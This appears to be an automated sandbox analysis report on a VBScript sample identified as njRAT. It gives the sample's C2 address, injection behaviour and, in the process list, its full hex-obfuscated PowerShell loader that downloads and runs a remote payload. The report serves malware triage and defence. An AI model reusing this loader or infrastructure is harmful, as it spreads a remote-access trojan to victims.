Analysis
-
max time kernel
149s -
max time network
183s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
31-08-2021 20:49
Static task
static1
Behavioral task
behavioral1
Sample
Receipt.vbs
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
General
-
Target
Receipt.vbs
-
Size
3KB
-
MD5
7847bcdabe1d416d86d06d3c81a11052
-
SHA1
abaff8024bd174d05edba2c32eb2aa5c0c7071c9
-
SHA256
6e20ded2b6c78190b5c281cd6d5092cc7336aeab810b98155e118db7801744f1
-
SHA512
ec48efbf28797aed093951c1d4d885aec8ca186e585922fade445b15b4691c7eb8026338d2f873b33e671652a2301261eb6af3aa55d8b8354a089a00a664676a
Malware Config
Extracted
Family
njrat
Version
v4.0
Botnet
Boss
C2
103.147.184.73:7103
Mutex
Windows
Attributes
-
reg_key
Windows
-
splitter
|-F-|
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 7 852 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 852 set thread context of 1088 852 powershell.exe aspnet_regbrowsers.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 852 powershell.exe 852 powershell.exe -
Suspicious use of AdjustPrivilegeToken 26 IoCs
Processes:
powershell.exeaspnet_regbrowsers.exedescription pid process Token: SeDebugPrivilege 852 powershell.exe Token: SeDebugPrivilege 1088 aspnet_regbrowsers.exe Token: 33 1088 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1088 aspnet_regbrowsers.exe Token: 33 1088 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1088 aspnet_regbrowsers.exe Token: 33 1088 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1088 aspnet_regbrowsers.exe Token: 33 1088 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1088 aspnet_regbrowsers.exe Token: 33 1088 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1088 aspnet_regbrowsers.exe Token: 33 1088 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1088 aspnet_regbrowsers.exe Token: 33 1088 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1088 aspnet_regbrowsers.exe Token: 33 1088 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1088 aspnet_regbrowsers.exe Token: 33 1088 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1088 aspnet_regbrowsers.exe Token: 33 1088 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1088 aspnet_regbrowsers.exe Token: 33 1088 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1088 aspnet_regbrowsers.exe Token: 33 1088 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1088 aspnet_regbrowsers.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 1924 wrote to memory of 852 1924 WScript.exe powershell.exe PID 1924 wrote to memory of 852 1924 WScript.exe powershell.exe PID 1924 wrote to memory of 852 1924 WScript.exe powershell.exe PID 852 wrote to memory of 1088 852 powershell.exe aspnet_regbrowsers.exe PID 852 wrote to memory of 1088 852 powershell.exe aspnet_regbrowsers.exe PID 852 wrote to memory of 1088 852 powershell.exe aspnet_regbrowsers.exe PID 852 wrote to memory of 1088 852 powershell.exe aspnet_regbrowsers.exe PID 852 wrote to memory of 1088 852 powershell.exe aspnet_regbrowsers.exe PID 852 wrote to memory of 1088 852 powershell.exe aspnet_regbrowsers.exe PID 852 wrote to memory of 1088 852 powershell.exe aspnet_regbrowsers.exe PID 852 wrote to memory of 1088 852 powershell.exe aspnet_regbrowsers.exe PID 852 wrote to memory of 1088 852 powershell.exe aspnet_regbrowsers.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Receipt.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SOS='2@-H-53-H-5A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-53-H-@@-H-@6-H-@7-H-@8-H-20-H-3D-H-20-H-27-H-68-H-7@-H-7@-H-70-H-73-H-3A-H-2F-H-2F-H-7@-H-72-H-61-H-6E-H-73-H-66-H-65-H-72-H-2E-H-73-H-68-H-2F-H-67-H-65-H-7@-H-2F-H-62-H-6D-H-@2-H-6E-H-@2-H-31-H-2F-H-66-H-69-H-78-H-2E-H-7@-H-78-H-7@-H-27-H-3B-H-0D-H-0A-H-2@-H-@5-H-@@-H-52-H-@6-H-@7-H-@8-H-@E-H-@A-H-@D-H-@B-H-@@-H-@5-H-@6-H-@7-H-@8-H-@A-H-20-H-3D-H-20-H-27-H-6E-H-@5-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-@5-H-62-H-@3-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-5@-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-27-H-2C-H-27-H-7@-H-2E-H-57-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-27-H-2C-H-27-H-6C-H-@9-H-@5-H-@E-H-27-H-29-H-3B-H-0D-H-0A-H-2@-H-53-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@A-H-@B-H-20-H-3D-H-20-H-27-H-@@-H-@F-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-61-H-@@-H-53-H-5@-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-@7-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-27-H-2C-H-27-H-57-H-6E-H-@C-H-6F-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-27-H-2C-H-27-H-72-H-@9-H-6E-H-27-H-29-H-3B-H-0D-H-0A-H-2@-H-53-H-57-H-58-H-@@-H-@5-H-@3-H-52-H-@6-H-@7-H-59-H-@8-H-55-H-@A-H-@9-H-53-H-@@-H-@6-H-56-H-@7-H-@8-H-@A-H-20-H-3D-H-27-H-@9-H-60-H-@5-H-58-H-28-H-6E-H-60-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-60-H-63-H-60-H-5@-H-20-H-2@-H-@5-H-@@-H-52-H-@6-H-@7-H-@8-H-@E-H-@A-H-@D-H-@B-H-@@-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-@7-H-@2-H-@8-H-@E-H-@A-H-53-H-@@-H-@6-H-@7-H-@8-H-29-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-27-H-2C-H-27-H-65-H-60-H-57-H-60-H-2D-H-@F-H-62-H-6A-H-60-H-@5-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-27-H-2C-H-27-H-@5-H-@6-H-@7-H-@8-H-@A-H-29-H-2E-H-2@-H-53-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@A-H-@B-H-28-H-2@-H-53-H-5A-H-58-H-@@-H-@3-H-@6-H-56-H-27-H-29-H-3B-H-0D-H-0A-H-26-H-28-H-27-H-@9-H-27-H-2B-H-27-H-@5-H-58-H-27-H-29-H-28-H-2@-H-53-H-57-H-58-H-@@-H-@5-H-@3-H-52-H-@6-H-@7-H-59-H-@8-H-55-H-@A-H-@9-H-53-H-@@-H-@6-H-56-H-@7-H-@8-H-@A-H-20-H-2D-H-@A-H-6F-H-69-H-6E-H-20-H-27-H-27-H-29-H-7C-H-26-H-28-H-27-H-@9-H-27-H-2B-H-27-H-@5-H-58-H-27-H-29-H-3B-H-'.Replace('@','4');Invoke-Expression (-join ($SOS -split '-H-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/852-73-0x00000000028A0000-0x00000000028A1000-memory.dmpFilesize
4KB
-
memory/852-66-0x000000001AC64000-0x000000001AC66000-memory.dmpFilesize
8KB
-
memory/852-89-0x00000000028E0000-0x00000000028E3000-memory.dmpFilesize
12KB
-
memory/852-86-0x0000000002920000-0x0000000002921000-memory.dmpFilesize
4KB
-
memory/852-85-0x0000000002910000-0x0000000002911000-memory.dmpFilesize
4KB
-
memory/852-65-0x000000001AC60000-0x000000001AC62000-memory.dmpFilesize
8KB
-
memory/852-67-0x00000000023D0000-0x00000000023D1000-memory.dmpFilesize
4KB
-
memory/852-68-0x0000000001DD0000-0x0000000001DD1000-memory.dmpFilesize
4KB
-
memory/852-69-0x000000001C1F0000-0x000000001C1F1000-memory.dmpFilesize
4KB
-
memory/852-70-0x00000000026E0000-0x00000000026E1000-memory.dmpFilesize
4KB
-
memory/852-63-0x0000000002390000-0x0000000002391000-memory.dmpFilesize
4KB
-
memory/852-61-0x0000000000000000-mapping.dmp
-
memory/852-64-0x000000001ACE0000-0x000000001ACE1000-memory.dmpFilesize
4KB
-
memory/852-87-0x000000001AC6A000-0x000000001AC89000-memory.dmpFilesize
124KB
-
memory/852-88-0x000000001C2C0000-0x000000001C2C1000-memory.dmpFilesize
4KB
-
memory/1088-90-0x0000000000400000-0x000000000040E000-memory.dmpFilesize
56KB
-
memory/1088-91-0x000000000040836E-mapping.dmp
-
memory/1088-92-0x0000000000400000-0x000000000040E000-memory.dmpFilesize
56KB
-
memory/1088-94-0x0000000076691000-0x0000000076693000-memory.dmpFilesize
8KB
-
memory/1088-95-0x0000000005520000-0x0000000005521000-memory.dmpFilesize
4KB
-
memory/1924-60-0x000007FEFBFB1000-0x000007FEFBFB3000-memory.dmpFilesize
8KB